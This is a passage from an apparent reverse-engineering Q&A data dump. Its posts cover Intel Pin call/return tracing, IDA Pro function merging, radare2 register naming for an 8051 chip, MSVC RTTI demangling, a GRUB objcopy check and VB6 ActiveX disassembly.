however I have no idea how to record return to the main module.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Before providing a source code let me describe what (as I think) is wrong with the output of a tool that I get.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Recording begins with a set of instructions that ends with return to a function that has not been called (or at least my PinTool didn't record it).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[mov esp, esi]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[pop ebx]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;R&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[pop edi]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;R&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[pop esi]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;R&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[pop ebp]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;R&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[ret 0x10]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;R&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;InDirect RETURN to[RtlAnsiCharToUnicodeChar]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Sometimes it records names of the functions that are called without corresponding call instruction:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[push 0x77736e7c]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;W&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[push dword ptr [ebp-0x110]]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;RW&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[call 0x7779a490]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;W&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[LdrGetProcedureAddress]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[LdrGetProcedureAddressForCaller]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[RtlAcquireSRWLockExclusive]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Similar is for rets. Even more sometimes it records return to the same function twice in a row (but it should not).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[call 0x777a8b60]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;W&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[RtlRetrieveNtUserPfn]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;InDirect RETURN to[RtlDeactivateActivationContextUnsafeFast]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;////OR////&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[mov ecx, dword ptr [edi]]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;R&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[call 0x7777e531]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;W&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[RtlAddAccessAllowedAce]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[RtlAcquireSRWLockExclusive]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;InDirect RETURN to[RtlAddAccessAllowedAce]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[RtlReleaseSRWLockExclusive]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;InDirect RETURN to[RtlAddAccessAllowedAce]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;InDirect RETURN to[RtlAddAccessAllowedAce]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[mov esi, eax]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I feel like there is something fundamentally wrong in the way I handle these calls and rets &quot;decoding&quot;. Can someone point me to where am I exactly wrong? Also two secondary questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)  How to record return to the main module of an executable based on the instruction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Is there a way to get values of IARG_BRANCH_TARGET_ADDR and IARG_BRANCH_TAKEN outside of INS_InsertCall (or similar) functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source code is below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;//#include &amp;lt;chrono&amp;gt;&#xA;#include &quot;pin.H&quot;&#xA;#include &amp;lt;string&amp;gt;&#xA;#include &amp;lt;exception&amp;gt;&#xA;&#xA;FILE * ftrace;&#xA;long long icount=0;&#xA;long long ilimit=1000000;&#xA;BOOL print_args=false;&#xA;&#xA;&#xA;string invalid = &quot;invalid_rtn&quot;;&#xA;const string *Target2String(ADDRINT target)&#xA;{&#xA;    string name = RTN_FindNameByAddress(target);&#xA;    if (name == &quot;&quot;)&#xA;        return &amp;amp;invalid;&#xA;    else&#xA;        return new string(name);&#xA;}&#xA;&#xA;VOID  do_call_args(const string *s, ADDRINT arg0)&#xA;{&#xA;    fprintf(ftrace, &quot;\n[%s]\n&quot;, (*s).c_str()); //(INS_Disassemble(ins)).c_str()&#xA;    fflush(ftrace);&#xA;}&#xA;&#xA;/* ===================================================================== */&#xA;&#xA;VOID  do_call_args_indirect(ADDRINT target, BOOL taken, ADDRINT arg0)&#xA;{&#xA;    if (!taken) return;&#xA;&#xA;    const string *s = Target2String(target);&#xA;    do_call_args(s, arg0);&#xA;&#xA;    if (s != &amp;amp;invalid)&#xA;        delete s;&#xA;}&#xA;&#xA;/* ===================================================================== */&#xA;&#xA;VOID  do_call(const string *s)&#xA;{&#xA;    fprintf(ftrace, &quot;\n[%s]\n&quot;, (*s).c_str()); //(INS_Disassemble(ins)).c_str()&#xA;    fflush(ftrace);&#xA;}&#xA;&#xA;VOID  do_ret(const string *s)&#xA;{&#xA;    fprintf(ftrace, &quot;\nDirect RETURN to[%s]\n&quot;, (*s).c_str()); //(INS_Disassemble(ins)).c_str()&#xA;    fflush(ftrace);&#xA;}&#xA;&#xA;/* ===================================================================== */&#xA;&#xA;VOID  do_call_indirect(ADDRINT target, BOOL taken)&#xA;{&#xA;    if (!taken) return;&#xA;&#xA;    const string *s = Target2String(target);&#xA;    do_call(s);&#xA;&#xA;    if (s != &amp;amp;invalid)&#xA;        delete s;&#xA;}&#xA;&#xA;VOID  do_ret_indirect(ADDRINT target, BOOL taken)&#xA;{&#xA;    if (!taken) return;&#xA;&#xA;    const string *s = Target2String(target);&#xA;    fprintf(ftrace, &quot;\nInDirect RETURN to[%s]\n&quot;, (*s).c_str()); //(INS_Disassemble(ins)).c_str()&#xA;    fflush(ftrace);&#xA;&#xA;    if (s != &amp;amp;invalid)&#xA;        delete s;&#xA;}&#xA;&#xA;&#xA;VOID Instruction(INS ins, VOID *v)&#xA;{&#xA;&#xA;    //start = std::chrono::high_resolution_clock::now();&#xA;    UINT32 memOperands = INS_MemoryOperandCount(ins);&#xA;&#xA;    fprintf(ftrace, &quot;\n[%s]\n&quot;, (INS_Disassemble(ins)).c_str()); //(INS_Disassemble(ins)).c_str()&#xA;    fflush(ftrace);&#xA;    if (INS_IsCall(ins))&#xA;    {&#xA;        if (INS_IsDirectBranchOrCall(ins))&#xA;        {&#xA;            const ADDRINT target = INS_DirectBranchOrCallTargetAddress(ins);&#xA;&#xA;&#xA;            INS_InsertPredicatedCall(ins, IPOINT_BEFORE, AFUNPTR(do_call_args),&#xA;                IARG_PTR, Target2String(target), IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_END);&#xA;&#xA;        }&#xA;        else&#xA;        {&#xA;            INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_call_indirect),&#xA;                IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_END);&#xA;        }&#xA;    }&#xA;    else&#xA;    {&#xA;        if (INS_IsRet(ins))&#xA;        {&#xA;            if (INS_IsDirectBranchOrCall(ins))&#xA;            {&#xA;                const ADDRINT target = INS_DirectBranchOrCallTargetAddress(ins);&#xA;&#xA;&#xA;                INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_ret),&#xA;                    IARG_PTR, Target2String(target), IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_END);&#xA;&#xA;            }&#xA;            else&#xA;            {&#xA;                INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_ret_indirect),&#xA;                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_END);&#xA;            }&#xA;        }&#xA;        else&#xA;        {&#xA;            // sometimes code is not in an image&#xA;            RTN rtn = INS_Rtn(ins);&#xA;&#xA;            // also track stup jumps into share libraries&#xA;            if (RTN_Valid(rtn) &amp;amp;&amp;amp; !INS_IsDirectBranchOrCall(ins) &amp;amp;&amp;amp; &quot;.plt&quot; == SEC_Name(RTN_Sec(rtn)))&#xA;            {&#xA;                if (print_args)&#xA;                {&#xA;                    INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),&#xA;                        IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_END);&#xA;                }&#xA;                else&#xA;                {&#xA;                    INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_call_indirect),&#xA;                        IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_END);&#xA;&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;&#xA;&#xA;        for (UINT32 memOp = 0; memOp &amp;lt; memOperands; memOp++)&#xA;        {&#xA;&#xA;            if (INS_MemoryOperandIsRead(ins, memOp))&#xA;            {&#xA;                fprintf(ftrace, &quot;R&quot;);&#xA;                icount++;&#xA;&#xA;            }&#xA;&#xA;            if (INS_MemoryOperandIsWritten(ins, memOp))&#xA;            {&#xA;&#xA;                fprintf(ftrace, &quot;W&quot;);&#xA;                icount++;&#xA;&#xA;            }&#xA;        }&#xA;&#xA;}&#xA;VOID Fini(INT32 code, VOID *v)&#xA;{    fprintf(ftrace, &quot;\n&quot;);&#xA;    fclose(ftrace);&#xA;}&#xA;INT32 Usage()&#xA;{&#xA;    PIN_ERROR( &quot;This Pintool prints a trace of memory addresses\n&quot;&#xA;              + KNOB_BASE::StringKnobSummary() + &quot;\n&quot;);&#xA;    return -1;&#xA;}&#xA;KNOB&amp;lt;string&amp;gt; KnobOutputFile(KNOB_MODE_WRITEONCE, &quot;pintool&quot;,&#xA;    &quot;o&quot;, &quot;pinatrace2.out&quot;, &quot;specify output file name&quot;);&#xA;&#xA;KNOB&amp;lt;long long&amp;gt; KnobInsLimit(KNOB_MODE_WRITEONCE, &quot;pintool&quot;,&#xA;    &quot;i&quot;, &quot;1000&quot;, &quot;specify instruction limit&quot;);&#xA;&#xA;KNOB&amp;lt;BOOL&amp;gt;   KnobPrintArgs(KNOB_MODE_WRITEONCE, &quot;pintool&quot;, &quot;a&quot;, &quot;0&quot;, &quot;print call arguments &quot;);&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;    PIN_InitSymbols();&#xA;    if (PIN_Init(argc, argv)) return Usage();   &#xA;    ilimit=KnobInsLimit.Value();   &#xA;    ftrace = fopen(KnobOutputFile.Value().c_str(), &quot;w&quot;);&#xA;    print_args = KnobPrintArgs.Value();&#xA;    INS_AddInstrumentFunction(Instruction, 0);&#xA;    //TRACE_AddInstrumentFunction(Trace, 0);&#xA;    PIN_AddFiniFunction(Fini, 0);   &#xA;    PIN_StartProgram();&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15278" LastActivityDate="2021-10-19T02:00:28.193" Title="Tracing calls, rets and instructions with Intel Pin" Tags="|instrumentation|pintool|system-call|tracing|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20520" PostTypeId="1" CreationDate="2019-01-31T10:16:05.800" Score="1" ViewCount="943" Body="&lt;p&gt;Currently I am analyzing a .so file and there is a function which is supposed to be large (high number of nodes and edges). However, IDA Pro identified it as a small function, with various parts of the code being treated as individual sub routines and some of them have attributes of &quot;no return&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use append_func_tail to combine the sub routines together but the function returns false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to do these&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Combine the various sub routines together into one main sub routine&lt;/li&gt;&#xA;&lt;li&gt;Calculate the cyclomatic complexity value of this big sub routine&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do the above?&lt;/p&gt;&#xA;" OwnerUserId="27105" LastEditorUserId="2147" LastEditDate="2019-02-04T12:31:25.447" LastActivityDate="2019-02-04T12:31:25.447" Title="Combine various sub routines into one sub routine (IDA Pro)" Tags="|ida|binary-analysis|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20521" PostTypeId="1" CreationDate="2019-01-31T11:02:57.843" Score="3" ViewCount="403" Body="&lt;p&gt;I am reverse-engineering an 8051 architecture program of a specific chip.&#xA;The disassembly naturally doesn't contain any function names, and the register names are minimal. For example, address 0xb3 is a specific register with the name &quot;RTC2CON&quot;. since the register name is specific for the chip the disassembly doesn't show it but rather &quot;0xb3&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how can I set a rule that will replace every occurrence of a certain string in the disassembly (in this case 0xb3) with another string (the register name RTC2CON).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Another Example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x0000393b      c2e9           clr 0xe8.1                  ; &#xA;|           0x0000393d      1239dd         lcall TRANSMIT_r7_AND_GET_r7=RF_STATUS&#xA;|           0x00003940      e4             clr a&#xA;|           0x00003941      ff             mov r7, a&#xA;|           0x00003942      1239dd         lcall TRANSMIT_r7_AND_GET_r7=RF_STATUS&#xA;|           0x00003945      8f36           mov 0x36, r7                ; &#xA;|           0x00003947      d2e9           setb 0xe8.1                 ; &#xA;\           0x00003949      22             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be more clear the chip is the nRF24LE1. In this example there is a manipulation on the special function register on adress 0xe8 (RFCON)&#xA;Bit 1 is firstly cleared, and after some operation it is set again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is simply that the dissasembly will display RFCON.1 instead of 0xe8.1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem I have is with a function that is called using ljmp instead of lcall. When I try to rename that function with afn the new name goes instead to the function calling it with ljmp. The function called has 58 XREFS and therefore it is very important to me to see it's name and not it's address when it is called. (functions default name is their fcn.address).&lt;/p&gt;&#xA;" OwnerUserId="27309" LastEditorUserId="245" LastEditDate="2020-02-28T12:18:28.100" LastActivityDate="2020-02-28T12:18:28.100" Title="Setting register names in Radare2" Tags="|firmware|radare2|embedded|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20523" PostTypeId="2" ParentId="20516" CreationDate="2019-01-31T14:09:44.563" Score="2" Body="&lt;p&gt;Via &lt;a href=&quot;http://www.openrce.org/downloads/details/196&quot; rel=&quot;nofollow noreferrer&quot;&gt;Igor Skochinsky's classic IDA RTTI scripts&lt;/a&gt;, I found out that the names I posted are equivalent to &lt;code&gt;typeid(struct xyz)&lt;/code&gt; (as I've added to my question).&lt;/p&gt;&#xA;&lt;p&gt;Abusing creating a valid mangled dtor name from a substring of them and then stripping the ctor parts from the result yields great class names.&lt;/p&gt;&#xA;&lt;p&gt;Here's my Python script and the results:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def demangle(name):&#xA;    # Check if this even is a problematic typeid.&#xA;    if name.startswith(&amp;quot;.?A&amp;quot;):&#xA;        # Remove the .?AU or .?AV prefix.&#xA;        name = name[4:]&#xA;        # Demangle it as a default public destructor call.&#xA;        dtor_name = &amp;quot;??1&amp;quot; + name + &amp;quot;QAE@XZ&amp;quot;&#xA;        name = your_default_msvc_demangler.demangle(dtor_name)&#xA;        # Strip destructor pre and suffixes again (accessor / cconv and parameter list).&#xA;        name = name[len(&amp;quot;public: __thiscall &amp;quot;):name.rfind(&amp;quot;(&amp;quot;)]&#xA;        # Remove dtor name.&#xA;        parts = name.split(&amp;quot;~&amp;quot;)&#xA;        return parts[0][:-2]&#xA;    else:&#xA;        return your_default_msvc_demangler.demangle(name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And here are sample results for the names given in my question:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;exception&#xA;    boost::escaped_list_error&#xA;    stlp_std::runtime_error&#xA;&#xA;ns::FunctionBase::FunctionBase&#xA;    ns::FunctionT&amp;lt;void (__cdecl *)(void *)&amp;gt;&#xA;    ns::FunctionT&amp;lt;int (__cdecl *)(int)&amp;gt;&#xA;    ns::FunctionT&amp;lt;int (__cdecl *)(wchar_t const *)&amp;gt;&#xA;    ns::FunctionT&amp;lt;int (__cdecl *)(unsigned int)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Probably not very elegant, but working.&lt;/p&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2022-02-20T23:30:56.360" LastActivityDate="2022-02-20T23:30:56.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20524" PostTypeId="2" ParentId="20521" CreationDate="2019-01-31T18:18:20.537" Score="1" Body="&lt;p&gt;not sure what b3 register is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;as to naming the destination of calls / jumps you do something like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000788]&amp;gt; pd~lcall&#xA;|           0x00000797      124ef3         lcall 0x4ef3&#xA;|       |   0x000007a7      124ac0         lcall 0x4ac0&#xA;[0x00000788]&amp;gt; f loc.somefun @0x4ef3&#xA;[0x00000788]&amp;gt; f loc.somefun2 @0x4ac0&#xA;[0x00000788]&amp;gt; pd~ljmp&#xA;        ,=&amp;lt; 0x000007cd      024ac4         ljmp 0x4ac4&#xA;[0x00000788]&amp;gt; f loc.somejump @0x4ac4&#xA;[0x00000788]&amp;gt; pd~ljmp&#xA;        ,=&amp;lt; 0x000007cd      024ac4         ljmp loc.somejump&#xA;[0x00000788]&amp;gt; pd~lcall&#xA;|           0x00000797      124ef3         lcall loc.somefun&#xA;|       |   0x000007a7      124ac0         lcall loc.somefun2&#xA;[0x00000788]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is it about special function register from 0x80 to 0xff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can probably flag them as shown above&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000000b3]&amp;gt; s 0xb3&#xA;[0x000000b3]&amp;gt; pd 2&#xA;            ;-- reg.RTC2CON:&#xA;            0x000000b3      00             nop&#xA;            0x000000b4      00             nop&#xA;[0x000000b3]&amp;gt; f reg.RTC2CONNED @ 0xb3&#xA;[0x000000b3]&amp;gt; pd 2&#xA;            ;-- reg.RTC2CON:&#xA;            ;-- reg.RTC2CONNED:&#xA;            0x000000b3      00             nop&#xA;            0x000000b4      00             nop&#xA;[0x000000b3]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i remembered it flagged the sfr's automatically but it seems its implementation is not complete you may have to either add the required bits and submit a pull request or open an issue in &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it decodes 8 bits out of possible 16 bits&#xA;src is &lt;a href=&quot;https://github.com/m-thu/radare-8051/blob/master/8051-plugin.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;here 8051 implementation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i just made simple test result as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;xxd sfrtest.bin&#xA;0000000: c2e0 c2e1 c2e2 c2e3 c2e4 c2e5 c2e6 c2e7  ................&#xA;0000010: c2e8 c2e9 c2ea c2eb c2ec c2ed c2ee c2ef  ................&#xA;&amp;gt;radare2 -a 8051 sfrtest.bin&#xA; -- This software is sold for home use only and all other rights are expressly reversed by the copyleft owner.&#xA;[0x00000000]&amp;gt; pd 10&#xA;            0x00000000      c2e0           clr acc.0                   ; [0x100001e0:1]=0&#xA;            0x00000002      c2e1           clr acc.1                   ; [0x100001e0:1]=0&#xA;            0x00000004      c2e2           clr acc.2                   ; [0x100001e0:1]=0&#xA;            0x00000006      c2e3           clr acc.3                   ; [0x100001e0:1]=0&#xA;            0x00000008      c2e4           clr acc.4                   ; [0x100001e0:1]=0&#xA;            0x0000000a      c2e5           clr acc.5                   ; [0x100001e0:1]=0&#xA;            0x0000000c      c2e6           clr acc.6                   ; [0x100001e0:1]=0&#xA;            0x0000000e      c2e7           clr acc.7                   ; [0x100001e0:1]=0&#xA;            0x00000010      c2e8           clr 0xe8.0                  ; [0x100001e8:1]=0&#xA;            0x00000012      c2e9           clr 0xe8.1                  ; [0x100001e8:1]=0&#xA;[0x00000000]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-02-02T08:49:31.750" LastActivityDate="2019-02-02T08:49:31.750" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20525" PostTypeId="1" AcceptedAnswerId="20527" CreationDate="2019-01-31T21:54:38.370" Score="0" ViewCount="114" Body="&lt;p&gt;Can you explain to me the significance of link address 2000 8000 7C00? It's  in a MACRO from the GRUB configure script, which checks whether OBJCOPY works for absolute addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the snippet of the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AC_DEFUN([grub_PROG_OBJCOPY_ABSOLUTE],&#xA;[AC_MSG_CHECKING([whether ${OBJCOPY} works for absolute addresses])&#xA;AC_CACHE_VAL(grub_cv_prog_objcopy_absolute,&#xA;[cat &amp;gt; conftest.c &amp;lt;&amp;lt;\EOF&#xA;void&#xA;cmain (void)&#xA;{&#xA;   *((int *) 0x1000) = 2;&#xA;}&#xA;EOF&#xA;&#xA;if AC_TRY_EVAL(ac_compile) &amp;amp;&amp;amp; test -s conftest.o; then :&#xA;else&#xA;  AC_MSG_ERROR([${CC-cc} cannot compile C source code])&#xA;fi&#xA;grub_cv_prog_objcopy_absolute=yes&#xA;for link_addr in 2000 8000 7C00; do&#xA;  if AC_TRY_COMMAND([${CC-cc} ${CFLAGS} -nostdlib -Wl,-N -Wl,-Ttext -Wl,$link_addr conftest.o -o conftest.exec]); then :&#xA;  else&#xA;    AC_MSG_ERROR([${CC-cc} cannot link at address $link_addr])&#xA;  fi&#xA;  if AC_TRY_COMMAND([${OBJCOPY-objcopy} -O binary conftest.exec conftest]); then :&#xA;  else&#xA;    AC_MSG_ERROR([${OBJCOPY-objcopy} cannot create binary files])&#xA;  fi&#xA;  if test ! -f conftest.old || AC_TRY_COMMAND([cmp -s conftest.old conftest]); then&#xA;    mv -f conftest conftest.old&#xA;  else&#xA;    grub_cv_prog_objcopy_absolute=no&#xA;    break&#xA;  fi&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27078" LastActivityDate="2019-02-01T08:06:12.537" Title="Significance of link address 2000 8000 7C00;" Tags="|linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20526" PostTypeId="1" CreationDate="2019-01-31T23:37:26.630" Score="1" ViewCount="101" Body="&lt;p&gt;A program is loading an VB6 based ActiveX control that has several property, for example ConnectionString.&#xA;The application is dynamically generating the values it provides at runtime, so it is not straightforward to identify through static analysis. While I can dump memory of the process and find some of these values, some are not simple strings so not as straightforward to find this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built a test VB6 program and compiled with symbols with code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Private Sub SetConnectionString()&#xA;aABCFeeList1.ConnectionString = &quot;Provider=SQLOLEDB;Trusted_Connection=Yes;initial catalog=sql;data source=sqlserver;&quot;&#xA;End Sub&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In IDA this shows disassembled as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401D20 ; void __stdcall Form1::SetConnectionString(Form1 *this)&#xA;.text:00401D20 ?SetConnectionString@Form1@@AAGXXZ proc near ; CODE XREF: .text:004016E0j&#xA;.text:00401D20&#xA;.text:00401D20 var_20          = dword ptr -20h&#xA;.text:00401D20 var_18          = dword ptr -18h&#xA;.text:00401D20 var_14          = dword ptr -14h&#xA;.text:00401D20 var_10          = dword ptr -10h&#xA;.text:00401D20 var_8           = dword ptr -8&#xA;.text:00401D20 var_4           = dword ptr -4&#xA;.text:00401D20 this            = dword ptr  8&#xA;.text:00401D20&#xA;.text:00401D20                 push    ebp&#xA;.text:00401D21                 mov     ebp, esp&#xA;.text:00401D23                 sub     esp, 8&#xA;.text:00401D26                 push    offset ___vbaExceptHandler&#xA;.text:00401D2B                 mov     eax, large fs:0&#xA;.text:00401D31                 push    eax&#xA;.text:00401D32                 mov     large fs:0, esp&#xA;.text:00401D39                 sub     esp, 28h&#xA;.text:00401D3C                 push    ebx&#xA;.text:00401D3D                 push    esi&#xA;.text:00401D3E                 push    edi&#xA;.text:00401D3F                 mov     [ebp+var_8], esp&#xA;.text:00401D42                 mov     [ebp+var_4], offset dword_4010A0&#xA;.text:00401D49                 sub     esp, 10h&#xA;.text:00401D4C                 mov     ecx, 8&#xA;.text:00401D51                 mov     edx, esp&#xA;.text:00401D53                 mov     eax, offset ___vba@09EB2DB8&#xA;.text:00401D58                 push    68030012h&#xA;.text:00401D5D                 mov     [ebp+var_14], 0&#xA;.text:00401D64                 mov     [edx], ecx&#xA;.text:00401D66                 mov     ecx, [ebp+var_20]&#xA;.text:00401D69                 mov     [edx+4], ecx&#xA;.text:00401D6C                 mov     [edx+8], eax&#xA;.text:00401D6F                 mov     eax, [ebp+var_18]&#xA;.text:00401D72                 mov     [edx+0Ch], eax&#xA;.text:00401D75                 mov     eax, [ebp+this]&#xA;.text:00401D78                 push    eax&#xA;.text:00401D79                 mov     ecx, [eax]&#xA;.text:00401D7B                 call    dword ptr [ecx+2FCh]&#xA;.text:00401D81                 lea     edx, [ebp+var_14]&#xA;.text:00401D84                 push    eax&#xA;.text:00401D85                 push    edx&#xA;.text:00401D86                 call    ds:__imp____vbaObjSet&#xA;.text:00401D8C                 push    eax&#xA;.text:00401D8D                 call    ds:__imp____vbaLateIdSt&#xA;.text:00401D93                 lea     ecx, [ebp+var_14]&#xA;.text:00401D96                 call    ds:__imp____vbaFreeObj&#xA;.text:00401D9C                 push    offset loc_401DAE&#xA;.text:00401DA1                 jmp     short loc_401DAD&#xA;.text:00401DA3 ; ---------------------------------------------------------------------------&#xA;.text:00401DA3&#xA;.text:00401DA3 loc_401DA3:                             ; DATA XREF: .text:004010ACo&#xA;.text:00401DA3                 lea     ecx, [ebp+var_14]&#xA;.text:00401DA6                 call    ds:__imp____vbaFreeObj&#xA;.text:00401DAC                 retn&#xA;.text:00401DAD ; ---------------------------------------------------------------------------&#xA;.text:00401DAD&#xA;.text:00401DAD loc_401DAD:                             ; CODE XREF: Form1::SetConnectionString(void)+81j&#xA;.text:00401DAD                 retn&#xA;.text:00401DAE ; ---------------------------------------------------------------------------&#xA;.text:00401DAE&#xA;.text:00401DAE loc_401DAE:                             ; CODE XREF: Form1::SetConnectionString(void):loc_401DADj&#xA;.text:00401DAE                                         ; DATA XREF: Form1::SetConnectionString(void)+7Co&#xA;.text:00401DAE                 mov     ecx, [ebp+var_10]&#xA;.text:00401DB1                 pop     edi&#xA;.text:00401DB2                 pop     esi&#xA;.text:00401DB3                 xor     eax, eax&#xA;.text:00401DB5                 mov     large fs:0, ecx&#xA;.text:00401DBC                 pop     ebx&#xA;.text:00401DBD                 mov     esp, ebp&#xA;.text:00401DBF                 pop     ebp&#xA;.text:00401DC0                 retn    4&#xA;.text:00401DC0 ?SetConnectionString@Form1@@AAGXXZ endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case the connection string is being set at line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  .text:00401D53                 mov     eax, offset ___vba@09EB2DB8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is how I can identify &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Which ActiveX control this code is configuring&#xA;2) Which property on the ActiveX control it is setting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program I need to find this in is much larger and more complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dword_4010A0    dd 40004h, 2 dup(0)   